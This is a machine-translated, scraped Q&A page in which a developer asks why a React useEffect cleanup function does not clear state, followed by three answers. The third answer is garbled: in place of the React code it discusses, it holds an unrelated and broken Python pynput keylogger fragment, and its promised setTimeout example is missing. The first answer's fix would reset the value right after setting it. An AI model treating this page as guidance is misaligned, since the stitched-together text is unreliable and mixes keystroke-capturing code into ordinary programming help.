反应清理功能不清除状态

时间:2019-12-10 08:16:50

标签: reactjs state use-effect

专家, 请向我解释一下,为什么在下面的代码中useEffect清理功能不会清除属性的状态?

我的组件

export default function TestComp() {

  let { id } = useParams();
  const [value, setValue] = useState(null);
  console.log('[TestComp] called...');

  const cleanup = () => {
    console.log('[TestComp] old value', value);
    setValue(null);
  };

  useEffect(() => {
    console.log('[TestComp] id changed: ', id);
    console.log('[TestComp] value in useEffect', value);
    setValue(id);
    return () => {
      cleanup();
    }
  }, [id]);

  return (<React.Fragment>Test id: {id}</React.Fragment>)
}

控制台输出:

[TestComp] called... TestComp.js:8
[TestComp] old value satellites:MTP TestComp.js:11
[TestComp] id changed:  satellites:MTP TestComp.js:16
[TestComp] value in useEffect satellites:FPGA TestComp.js:17
[TestComp] called... 2 TestComp.js:8
[TestComp] old value satellites:FPGA TestComp.js:11
[TestComp] id changed:  satellites:FNE TestComp.js:16
[TestComp] value in useEffect satellites:MTP TestComp.js:17
[TestComp] called... TestComp.js:8

我希望当useEffect被调用两次时,将被清除并为 null ,但是它仍然保留旧值:

value in useEffect satellites:MTP TestComp.js:17

谢谢。

3 个答案:

答案 0 :(得分:1)

您可能想要添加另一个useEffect,因为在当前情况下,cleanup函数仅在 unmount 上运行,这对于当前逻辑而言是毫无用处的。

export default function TestComp() {
  let { id } = useParams();
  const [value, setValue] = useState(null);
  console.log('[TestComp] called...');

  useEffect(() => {
    console.log('[TestComp] id changed: ', id);
    console.log('[TestComp] value in useEffect', value);
    setValue(id);

    /* v Useless cleanup because the component unmounts anyway,
         the `value` state will be cleaned automatically.
    return () => {
      cleanup();
    }
    */
  }, [id]);

  // ^ Firstly, the `value` changed on id change
  // v Secondly, the `value` will be reset on `value` change
  useEffect(() => {
    console.log('[TestComp] old value', value);
    setValue(null);
  }, [value]);

  return <>Test id: {id}</>;
}

答案 1 :(得分:0)

我认为这与事情发生的顺序有关。

useEffect将在闭包(即调用TestComp函数)时“捕获”作为闭包的一部分的值。当id更改时,React将安排对cleanup函数的调用,然后对效果的调用。但是,TestComp直到新的效果函数被调用后才被再次调用。

您可以在日志中看到这一点,因为清理功能中的每个old value紧跟着效果功能中的id changed

由于新效果从调用TestComp时开始“捕获”值,因此它将看不到清理功能设置的值。

还要注意,至少在测试中,我看到React抱怨valuecleanup不在useEffect的依赖关系中。

答案 2 :(得分:0)

useEffect的返回功能仅在应用下一个效果之前清除上一个效果。但是代码中的主要问题是

import pynput
from pynput.keyboard import Key, Listener

def key_key (key):

     format_key = str (key) #Convert key to string

     if key == Key.enter:
         write_logs ("\ n")

     elif key == Key.esc:
         write_logs ("[Esc]")

     else:
         write_logs (format_key [2]) #Capture only the value between single quotation marks (generated value is u '[keypress]')

#Initialize Keylogger
with Listener (on_press = catch_key) as listen:
     listen.join ()

通常,在清理过程中,我们取消订阅外部服务/订阅,但在这里您更改的状态在这里是没有意义的,并立即由运行在 setValue之后的useEffect setValue 进行更新调用了内部清理,这也是再次调用效果的原因,

在useEffect中添加setTimeout后检查代码。

    const cleanup = () => {
    console.log('[TestComp] old value', value);
    setValue(null); // This is not prefer way to use setValue here.
}

可能的解决方案-

  • 在上述情况下,您使用的是 id ,请将该属性提升到父组件,然后将其作为属性传递给TestComp组件。

  • 当效果运行时,整个组件将被重新渲染,范围被破坏,但所有状态都将保留在 useState 钩子的闭合范围内。

working example for above situation

相关问题